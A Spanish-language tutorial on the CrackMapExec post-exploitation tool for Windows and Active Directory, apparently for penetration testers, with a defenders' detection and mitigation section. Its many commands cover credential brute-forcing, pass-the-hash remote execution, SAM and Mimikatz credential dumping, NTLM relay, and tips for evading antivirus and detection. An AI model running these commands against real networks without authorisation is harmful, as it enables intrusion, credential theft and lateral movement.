CrackMapExec (CME)

Introducción

¿Qué es CrackMapExec?

CrackMapExec (CME) es una herramienta post-explotación suiza que ayuda a automatizar la evaluación de seguridad en redes Windows/Active Directory. Combina varias técnicas ofensivas en una sola herramienta, permitiendo tanto el reconocimiento como la explotación de vulnerabilidades comunes.

CrackMapExec fue diseñado para:

  • Evaluar la seguridad de entornos Windows/AD
  • Enumerar información de sistemas y dominios
  • Mover lateralmente dentro de una red
  • Ejecutar comandos remotamente en sistemas comprometidos

Esta herramienta es especialmente útil en contextos de:

  • Pruebas de penetración en entornos corporativos
  • Auditorías de seguridad en Active Directory
  • Red Team Operations
  • Evaluaciones de postura de seguridad

Advertencia Legal

CrackMapExec es una herramienta potente que debe utilizarse únicamente en entornos autorizados. Su uso sin permiso puede violar leyes de acceso no autorizado a sistemas informáticos.


Instalación

Método 1: Instalación con pip

python3 -m pip install pipx
pipx install crackmapexec

Método 2: Desde repositorio (recomendado para desarrollo)

git clone https://github.com/byt3bl33d3r/CrackMapExec.git
cd CrackMapExec
poetry install

Método 3: Usando Docker

docker pull byt3bl33d3r/crackmapexec
docker run -it --name crackmapexec --entrypoint=/bin/bash byt3bl33d3r/crackmapexec

Verificación de Instalación

Después de la instalación, ejecuta crackmapexec -h o cme -h para verificar que la instalación fue exitosa y ver las opciones disponibles.


Sintaxis Básica

La estructura general de comandos de CrackMapExec es:

crackmapexec <protocolo> <target> [opciones]

Protocolos Soportados:

  • smb: Para interactuar con recursos compartidos SMB y sistemas Windows
  • winrm: Para conexiones Windows Remote Management
  • ssh: Para conexiones SSH
  • mssql: Para conexiones a bases de datos SQL Server
  • ldap: Para consultas LDAP a Active Directory

Opciones Principales:

ParámetroDescripciónEjemplo
-u, --usernameUsuario o archivo de usuarios--username 'Administrator'
-p, --passwordContraseña o archivo de contraseñas--password 'P@ssw0rd'
-H, --hashHash NTLM para autenticación Pass-the-Hash--hash 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
-d, --domainNombre de dominio para autenticación--domain 'CONTOSO'
-M, --moduleMódulo a ejecutar--module mimikatz
-L, --list-modulesLista los módulos disponibles--list-modules
-o, --optionsOpciones para el módulo--options
-x, --executeComando a ejecutar en los objetivos--execute 'whoami'
--local-authUsa autenticación local en lugar de de dominio--local-auth
--samVuelca las tablas SAM--sam
--sharesLista los recursos compartidos disponibles--shares
-v, --verboseAumenta el nivel de detalle de la salida-v

Flujo de Trabajo Típico

graph TD
    A[Reconocimiento Inicial] -->|cme smb subnet| B[Identificar Hosts Activos]
    B --> C[Enumerar Información del Dominio]
    C -->|cme ldap target| D[Enumerar Usuarios y Grupos]
    C -->|cme smb target --shares| E[Enumerar Recursos Compartidos]
    D --> F[Prueba de Credenciales]
    E --> F
    F -->|cme smb target -u users -p pass| G{Acceso Exitoso}
    G -->|Sí| H[Movimiento Lateral]
    G -->|No| I[Intentar Otras Técnicas]
    H -->|cme smb target -x 'comando'| J[Ejecución Remota]
    H --> K[Extracción de Hashes]
    K -->|cme smb target --sam| L[Nuevas Credenciales]
    L --> H

Ejemplos Prácticos

Ejemplo 1: Enumeración de Hosts Windows en la Red

# Escanea toda la subred en busca de hosts SMB disponibles
crackmapexec smb 192.168.1.0/24

Explicación

Este comando escanea toda la subred 192.168.1.0/24 en busca de servidores SMB activos. Para cada host encontrado, muestra información como nombre del host, dominio, versión de sistema operativo y si tiene SMB firmado requerido. Es una excelente manera de identificar rápidamente todos los sistemas Windows en una red.

Ejemplo 2: Prueba de Credenciales en Múltiples Hosts

# Prueba una lista de usuarios y contraseñas contra múltiples hosts
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success

Explicación

Este comando realiza un ataque de fuerza bruta/diccionario contra todos los hosts SMB en la subred. Lee usuarios de “users.txt” y contraseñas de “passwords.txt”, probando cada combinación. El flag --continue-on-success hace que siga intentando todas las combinaciones incluso después de encontrar credenciales válidas, lo que es útil para descubrir múltiples cuentas comprometidas.

Ejemplo 3: Ataque Pass-the-Hash y Ejecución de Comandos

# Usa un hash NTLM para autenticarse y ejecutar un comando
crackmapexec smb 192.168.1.100 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' -x 'whoami /all'

Explicación

Este comando utiliza la técnica “Pass-the-Hash” para autenticarse como el usuario Administrator sin conocer su contraseña en texto claro, solo usando el hash NTLM. Si la autenticación es exitosa, ejecuta el comando whoami /all en el sistema remoto, mostrando información detallada sobre el contexto de seguridad del usuario actual.

Ejemplo 4: Extraer Hashes de Contraseñas

# Extraer hashes de la base de datos SAM local
crackmapexec smb 192.168.1.100 -u Administrator -p 'Password123' --sam

Explicación

Una vez que tenemos credenciales válidas de administrador, podemos extraer los hashes de contraseña almacenados en la base de datos SAM del sistema. Estos hashes pueden usarse posteriormente para ataques de Pass-the-Hash contra otros sistemas o para intentar crackearlos offline y obtener las contraseñas en texto claro.

Ejemplo 5: Enumeración de Dominio con LDAP

# Enumerar usuarios de dominio a través de LDAP
crackmapexec ldap 192.168.1.10 -u 'usuario' -p 'contraseña' -M userhunter

Explicación

Este comando usa el protocolo LDAP para conectarse al controlador de dominio y ejecuta el módulo “userhunter” que busca usuarios específicos (como administradores) en el dominio. Es extremadamente útil para identificar cuentas de alto valor que podrían ser objetivos prioritarios en un ataque.


Técnicas Avanzadas

Movimiento Lateral con CrackMapExec

# Ejecución a través de WinRM
crackmapexec winrm 192.168.1.0/24 -u administrator -H <hash> -x "powershell -enc <base64_encoded_command>"

Comandos Codificados

El uso de comandos codificados en Base64 puede ayudar a evadir algunos controles de seguridad:

$Command = "whoami; hostname; Get-NetIPAddress"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($Bytes)
Write-Host $EncodedCommand

Extracción de Credenciales con Mimikatz

# Usar el módulo Mimikatz para extraer credenciales
crackmapexec smb 192.168.1.100 -u Administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

Detección por Antivirus

El uso de Mimikatz suele ser detectado por soluciones antivirus modernas. En entornos reales, puede ser necesario usar técnicas de evasión adicionales.

Enumeración de Grupos de Seguridad

# Enumerar miembros de grupos privilegiados
crackmapexec ldap 192.168.1.10 -u 'usuario' -p 'contraseña' -M group-members -o GROUP="Domain Admins"

Explotación de Vulnerabilidades Específicas

Abuso de Protocolo NTLM

# Relaying de hashes NTLM (requiere Impacket)
# En una terminal:
impacket-ntlmrelayx -t 192.168.1.100 -smb2support -c "powershell -enc <comando>"
 
# En otra terminal:
crackmapexec smb 192.168.1.50 -u 'usuario' -p 'contraseña' -M spider_plus

NTLM Relay

Esta técnica aprovecha debilidades en la implementación del protocolo NTLM para “redirigir” intentos de autenticación legítimos a otros sistemas objetivo.

Abuso de GPP (Group Policy Preferences)

# Buscar contraseñas en GPP
crackmapexec smb 192.168.1.10 -u 'usuario' -p 'contraseña' -M gpp_password

Buenas Prácticas y Tips

Consejos para optimizar el uso de CrackMapExec

  1. Mantén logs detallados: Usa la opción -v para obtener más información y guarda los resultados.

    crackmapexec smb 192.168.1.0/24 -u user -p pass -v | tee cme_results.txt
  2. Evita bloquear cuentas: Usa la opción --no-bruteforce para evitar intentos repetidos que puedan bloquear cuentas.

  3. Utiliza archivos para credenciales largas: En lugar de escribir largas listas de credenciales en la línea de comandos.

  4. Crea archivos de configuración: Usa el archivo ~/.cme/cme.conf para configuraciones personalizadas.

  5. Implementa pausas entre intentos: Con --delay para reducir la probabilidad de detección.

    crackmapexec smb 192.168.1.0/24 -u users.txt -p pass.txt --delay 5

Errores comunes a evitar

  1. No especificar el dominio correctamente: Para autenticación de dominio, asegúrate de especificar el nombre de dominio correcto con -d.

  2. Formato incorrecto de hash: Para Pass-the-Hash, asegúrate de usar el formato correcto LM:NTLM.

  3. Ignorar los firewalls: Considera que los firewalls pueden bloquear ciertos puertos/protocolos.

  4. No manejar adecuadamente las credenciales: Evita guardar credenciales en archivos de texto sin cifrar.

  5. Subestimar la detección: Las herramientas de seguridad modernas pueden detectar el uso de CrackMapExec; considera técnicas de evasión cuando sea necesario.


Integración con Otras Herramientas

CrackMapExec funciona especialmente bien como parte de un flujo de trabajo que integra múltiples herramientas:

flowchart LR
    A[Nmap] -->|Descubrimiento| B[CrackMapExec]
    B -->|Credenciales| C[Impacket]
    B -->|Hashes| D[Hashcat]
    B -->|Acceso| E[Evil-WinRM]
    C -->|Más exploits| B
    D -->|Contraseñas crackeadas| B
    E -->|Sesiones| F[Empire/Metasploit]

Ejemplos de Integración:

  1. Nmap + CrackMapExec:

    # Primero identificar hosts con Nmap
    nmap -p 445 192.168.1.0/24 -oG smb_hosts.txt
    # Luego usar grep para extraer IPs y pasarlas a CME
    cat smb_hosts.txt | grep "open" | cut -d " " -f 2 > targets.txt
    crackmapexec smb targets.txt --shares
  2. CrackMapExec + Hashcat:

    # Extraer hashes con CME
    crackmapexec smb 192.168.1.100 -u admin -p pass --sam > hashes.txt
    # Crackear hashes con Hashcat
    hashcat -m 1000 hashes.txt rockyou.txt
  3. CrackMapExec + Evil-WinRM:

    # Identificar hosts con WinRM habilitado
    crackmapexec winrm 192.168.1.0/24
    # Conectarse con Evil-WinRM
    evil-winrm -i 192.168.1.100 -u administrator -p 'Password123'

Detección y Mitigación

Cómo se detecta el uso de CrackMapExec:

  1. Múltiples intentos de autenticación fallidos desde una misma IP
  2. Numerosas conexiones SMB/WinRM/LDAP en un corto período
  3. Ejecución remota de comandos sospechosos
  4. Consultas LDAP anómalas o extensivas
  5. Extracción de hashes SAM/LSASS

Medidas de mitigación para administradores:

MedidaDescripciónImplementación
SMB FirmadoRequiere firma en comunicaciones SMBPolítica de grupo
Autenticación NTLMv2Deshabilitar versiones antiguas de NTLMPolítica de grupo
Credenciales únicasEvitar reutilización de contraseñasGestión de contraseñas
Least PrivilegeLimitar privilegios administrativosDiseño de AD
EDR/SIEMDetección y respuesta a endpointsSoluciones comerciales
Segmentación de redLimitar comunicación entre segmentosFirewalls/VLANs
MFAAutenticación multifactorServicios compatibles

Blue Team Tip

Los equipos de defensa pueden usar herramientas como “PurpleSharp” para simular los ataques de CrackMapExec y probar sus capacidades de detección antes de un ataque real.


Referencias y Recursos Adicionales

Enlaces Oficiales

Recursos de Aprendizaje


Conclusión

CrackMapExec es una herramienta extremadamente potente para pruebas de penetración en entornos Windows y Active Directory. Su capacidad para combinar múltiples técnicas en una sola herramienta la hace esencial para:

  1. Evaluar rápidamente la seguridad de una red Windows
  2. Identificar debilidades en la configuración de Active Directory
  3. Facilitar el movimiento lateral una vez que se ha ganado acceso inicial
  4. Extraer credenciales para escalar privilegios

Sin embargo, con gran poder viene gran responsabilidad. CrackMapExec debe usarse éticamente, con los permisos adecuados y dentro del alcance legal de las pruebas de penetración.

El conocimiento de herramientas como CrackMapExec es valioso tanto para equipos ofensivos (para identificar vulnerabilidades) como para equipos defensivos (para entender los métodos de ataque y mejorar sus defensas).